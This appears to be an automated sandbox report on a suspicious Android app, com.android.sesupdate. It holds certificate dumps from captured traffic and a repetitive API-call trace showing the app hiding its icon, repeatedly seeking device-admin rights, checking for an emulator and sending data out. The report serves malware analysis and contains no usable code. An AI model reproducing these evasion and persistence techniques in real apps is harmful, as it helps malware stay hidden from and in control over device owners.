A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
                          Sep 21, 2018 21:19:41.676206112 CEST4434412554.243.70.98192.34.76.230CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SETue May 30 12:48:38 CEST 2000Sat May 30 12:48:38 CEST 2020[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
                          Sep 21, 2018 21:19:41.676206112 CEST4434412554.243.70.98192.34.76.230CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SECN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SETue May 30 12:48:38 CEST 2000Sat May 30 12:48:38 CEST 2020[[ Version: V3 Subject: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 23223460521213001555387570833114089730860753895612098652836669980305042236333373520864248457295413309113206184129614795458813002793321404739348347239478157361314575018921060208560207337879261682185633570259454980009323505955755478574737771466443477069914070664457159874562246026231674202013525055051064032749275350905982802892471956172353456348747163465303302884619908731908096753154575131719129358212869729511062189039464751904900614685539733488960803754548627928530841064764065036079799777523666592044408376641702595881456975606363374738747468052431570879657918206353629078434589859560212766197636528957975011023399 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 01]Certificate Extensions: 4[1]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.][CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE]SerialNumber: [ 01]][2]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][3]: ObjectId: 2.5.29.15 Criticality=falseKeyUsage [ Key_CertSign Crl_Sign][4]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]]] Algorithm: [SHA1withRSA] Signature:0000: B0 9B E0 85 25 C2 D6 23 E2 0F 96 06 92 9D 41 98 ....%..#......A.0010: 9C D9 84 79 81 D9 1E 5B 14 07 23 36 65 8F B0 D8 ...y...[..#6e...0020: 77 BB AC 41 6C 47 60 83 51 B0 F9 32 3D E7 FC F6 w..AlG`.Q..2=...0030: 26 13 C7 80 16 A5 BF 5A FC 87 CF 78 79 89 21 9A &......Z...xy.!.0040: E2 4C 07 0A 86 35 BC F2 DE 51 C4 D2 96 B7 DC 7E .L...5...Q......0050: 4E EE 70 FD 1C 39 EB 0C 02 51 14 2D 8E BD 16 E0 N.p..9...Q.-....0060: C1 DF 46 75 E7 24 AD EC F4 42 B4 85 93 70 10 67 ..Fu.$...B...p.g0070: BA 9D 06 35 4A 18 D3 2B 7A CC 51 42 A1 7A 63 D1 ...5J..+z.QB.zc.0080: E6 BB A1 C5 2B C2 36 BE 13 0D E6 BD 63 7E 79 7B ....+.6.....c.y.0090: A7 09 0D 40 AB 6A DD 8F 8A C3 F6 F6 8C 1A 42 05 ...@.j........B.00A0: 51 D4 45 F5 9F A7 62 21 68 15 20 43 3C 99 E7 7C Q.E...b!h. C<...00B0: BD 24 D8 A9 91 17 73 88 3F 56 1B 31 38 18 B4 71 .$....s.?V.18..q00C0: 0F 9A CD C8 0E 9E 8E 2E 1B E1 8C 98 83 CB 1F 31 ...............100D0: F1 44 4C C6 04 73 49 76 60 0F C7 F8 BD 17 80 6B .DL..sIv`......k00E0: 2E E9 CC 4C 0E 5A 9A 79 0F 20 0A 2E D5 9E 63 26 ...L.Z.y. ....c&00F0: 1E 55 92 94 D8 82 17 5A 7B D0 BC C7 8F 4E 86 04 .U.....Z.....N..]

                          APK Behavior

                          Simulated Events

                          TypeData
                          boot completed
                          • -
                          time tick
                          • -
                          incoming sms
                          • 0123456789
                          • this is a text message
                          outgoing sms
                          • 9876543210
                          • thank you
                          location change
                          • 54.13
                          • 12.14
                          incoming call
                          • 0123456789
                          outgoing call
                          • 9876543210
                          time tick
                          • -
                          External Library Dependencies
                          API: java.net.URL->openConnection at ..:8 Show source
                          NameTypeValue
                          Return Valuecom.android.okhttp.internal.http.HttpsURLConnectionImpl
                          • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3
                          API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:21 Show source
                          API: android.content.pm.PackageManager->setComponentEnabledSetting at com.android.sesupdate.receivers.DeviceAdmin.hideAppIcon:12 Show source
                          API: java.net.URL->openConnection at com.android.sesupdate.ApkUtils$sendTask.doInBackground:23 Show source
                          API: java.net.URL->openConnection at ..:9 Show source
                          API: android.os.PowerManager$WakeLock->release at com.android.sesupdate.services.FirstService.startWakeLock:7 Show source
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->startService at com.android.sesupdate.services.FirstService.onCreate:28 Show source
                          NameTypeValue
                          p0android.content.Intent
                          • toString: Intent { cmp=com.android.sesupdate/.services.NotificationService }
                          NameTypeValue
                          Return Valueandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.services.NotificationService}
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.startWakeLock:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: power
                          NameTypeValue
                          Return Valueandroid.os.PowerManager
                          • toString: android.os.PowerManager@2f484bcd
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.services.FirstService->getSystemService at com.android.sesupdate.services.FirstService.spamDeviceAdmin:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: device_policy
                          NameTypeValue
                          Return Valueandroid.app.admin.DevicePolicyManager
                          • toString: android.app.admin.DevicePolicyManager@3a9ac4df
                          API: com.android.sesupdate.services.FirstService->getApplicationContext at com.android.sesupdate.services.FirstService.spamDeviceAdmin:22 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: android.app.admin.DevicePolicyManager->isAdminActive at com.android.sesupdate.services.FirstService.spamDeviceAdmin:28 Show source
                          NameTypeValue
                          whoandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.DeviceUtil->isEmulator at com.android.sesupdate.MainApplication.onCreate:13 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: com.android.sesupdate.MainApplication->startService at com.android.sesupdate.MainApplication.onCreate:24 Show source
                          NameTypeValue
                          p0android.content.Intent
                          • toString: Intent { cmp=com.android.sesupdate/.services.FirstService }
                          NameTypeValue
                          Return Valueandroid.content.ComponentName
                          • toString: ComponentInfo{com.android.sesupdate/com.android.sesupdate.services.FirstService}
                          API: com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy->rollFileOver at com.crashlytics.android.answers.AnswersEventsHandler$5.run:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy->rollFileOver at com.crashlytics.android.answers.AnswersEventsHandler$6.run:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: com.crashlytics.android.answers.Answers->getVersion at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:25 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:25 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:25 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:25 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.crashlytics.android.answers.Answers->getVersion at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:25 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 1.4.1.19
                          API: com.crashlytics.android.answers.SessionAnalyticsFilesSender->getUrl at com.crashlytics.android.answers.SessionAnalyticsFilesSender.send:97 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: com.android.sesupdate.MainActivity->getClass at com.crashlytics.android.answers.SessionEvent.lifecycleEventBuilder:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.android.sesupdate.MainActivity
                          • getName: com.android.sesupdate.MainActivity
                          API: com.android.sesupdate.MainActivity->getClass at com.crashlytics.android.answers.SessionEvent.lifecycleEventBuilder:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.android.sesupdate.MainActivity
                          • getName: com.android.sesupdate.MainActivity
                          API: com.android.sesupdate.MainActivity->getClass at com.crashlytics.android.answers.SessionEvent.lifecycleEventBuilder:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.android.sesupdate.MainActivity
                          • getName: com.android.sesupdate.MainActivity
                          API: com.android.sesupdate.MainActivity->getClass at com.crashlytics.android.answers.SessionEvent.lifecycleEventBuilder:6 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: class com.android.sesupdate.MainActivity
                          • getName: com.android.sesupdate.MainActivity
                          API: io.fabric.sdk.android.services.common.IdManager->getAppIdentifier at com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:9 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: io.fabric.sdk.android.services.common.IdManager->getAppInstallIdentifier at com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:14 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: io.fabric.sdk.android.services.common.IdManager->isLimitAdTrackingEnabled at com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:31 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.common.IdManager->getOsVersionString at com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:47 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 4.2.1/50
                          API: io.fabric.sdk.android.services.common.IdManager->getModelName at com.crashlytics.android.answers.SessionMetadataCollector.getMetadata:52 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: samsung/Galaxy Nexus
                          API: com.crashlytics.android.beta.ActivityLifecycleCheckForUpdatesController->signalExternallyReady at com.crashlytics.android.beta.ActivityLifecycleCheckForUpdatesController$1.onActivityStarted:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.FabricContext->getApplicationContext at com.crashlytics.android.beta.Beta.onPreExecute:8 Show source
                          NameTypeValue
                          Return Valuecom.android.sesupdate.MainApplication
                          • toString: com.android.sesupdate.MainApplication@1b85eb7a
                          API: io.fabric.sdk.android.services.common.IdManager->getInstallerPackageName at com.crashlytics.android.beta.Beta.getDeviceIdentifiers:15 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: io.fabric.sdk.android.services.common.IdManager->getInstallerPackageName at com.crashlytics.android.beta.Beta.getDeviceIdentifiers:15 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: io.fabric.sdk.android.services.common.IdManager->getInstallerPackageName at com.crashlytics.android.beta.Beta.doInBackground:17 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: com.crashlytics.android.beta.Beta->doInBackground at com.crashlytics.android.beta.Beta.doInBackground:2 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: android.content.pm.PackageManager->getApplicationInfo at com.crashlytics.android.beta.DeviceTokenLoader.getZipInputStreamOfApkFrom:14 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: io.crash.air
